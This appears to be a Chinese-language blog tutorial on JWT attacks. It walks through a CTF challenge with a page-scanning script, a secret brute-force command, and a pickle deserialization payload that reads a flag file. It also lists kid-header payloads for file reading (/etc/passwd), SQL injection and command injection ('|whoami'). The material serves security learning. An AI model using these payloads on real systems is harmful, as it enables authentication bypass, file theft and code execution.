Json Web Token簡稱jwt,用於身份認證等相關場景
JWT的結構
JWT由三部分組成, Header
Payload
Signature
其中 Header
一般是用於指定算法用於簽名, Payload
則是我們聲明的一些信息, Signature
則是根據 Header 以及 Payload 加密產生的
要創建簽名部分,必須采用header,payload,密鑰
例如HS256(HMAC SHA256),簽名的構成為:
HMACSHA256(
base64Encode(header) + "." +
base64Encode(payload),
secret)
常用攻擊方式
簽名密鑰可被爆破
這里面以一道CTF題目為例([CISCN2019 華北賽區 Day1 Web2]ikun) buuoj上可以復現
首先先找到有lv6的商品,這里面根據圖片名遍歷頁數
import requests
import time
num=2
urltest="http://8b593fb8-8719-4e7d-bad0-9725019393d4.node3.buuoj.cn/shop?page="
test=requests.session()
while 1 :
url=urltest+str(num)
#print(url)
requests_url = test.get(url)
#print(requests_url.content)
if "lv6.png" in requests_url.text:
print(str(num))
exit()
#time.sleep(1)
num=num+1

但是購買的錢顯然不夠,但是在優惠率處可以修改,改為 0.0000008,買完后跳轉到一個頁面

觀察Cookie發現是通過 JWT 來認證的,這里面我們把JWT放到 https://jwt.io/
看看

發現 payload 區域為test,顯然我們要改為 admin,最后使用的簽名算法為 HS256

既然是對稱算法,我們爆破一下密鑰試試,用下方這個項目
https://github.com/brendan-rius/c-jwt-cracker
我是Docker搭建的
docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.l0qG4XbJbemqJXsaITaT8g78fkJ-boRvU2H7H1CY644
之后爆破出密鑰為 1Kun
因此生成我們要的jwt


獲取源碼進行代碼審計

審計源碼發現在 Admin.py
中存在Python反序列化
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
pickle.loads存在反序列化
參考這里面反序列化
https://xz.aliyun.com/t/2289#toc-1
import pickle
import urllib
class test(object):
def __reduce__(self):
return (eval, ("file('/flag.txt','r').read()",))
a=test()
payload=pickle.dumps(a)
payload=urllib.quote(payload)
print payload
# pickle.loads 會解決 import 問題,對於未 import的模塊會嘗試的import,所以就會加載我們的os模塊
在成為大會員出抓包修改為pyload即可獲得Flag
參考
http://www.cl4y.top/buuctf_wp/#toc-head-24
https://xz.aliyun.com/t/2289#toc-3
爆破密鑰的話應用場景不是很大
空加密算法
將 alg設置為空,有可能繞過JWT的驗證
修改密鑰算法
即將非對稱算法,改為對稱算法
修改KID參數
kid是jwt header中的參數,用於指定加密算法的密鑰,改參數由用戶輸入,因此可能會造成安全隱患
任意文件讀取
kid參數用於讀取密鑰文件,但系統並不會知道用戶想要讀取的到底是不是密鑰文件,所以,如果在沒有對參數進行過濾的前提下,攻擊者是可以讀取到系統的任意文件的。
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/etc/passwd"
}
SQL注入
kid也可以從數據庫中提取數據,這時候就有可能造成SQL注入攻擊,通過構造SQL語句來獲取數據或者是繞過signature的驗證
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "key11111111' || union select 'secretkey' -- "
}
命令注入
對kid參數過濾不嚴也可能會出現命令注入問題,但是利用條件比較苛刻。如果服務器后端使用的是Ruby,在讀取密鑰文件時使用了open函數,通過構造參數就可能造成命令注入。
"/path/to/key_file|whoami"
對於其他的語言,例如php,如果代碼中使用的是exec或者是system來讀取密鑰文件,那么同樣也可以造成命令注入,當然這個可能性就比較小了。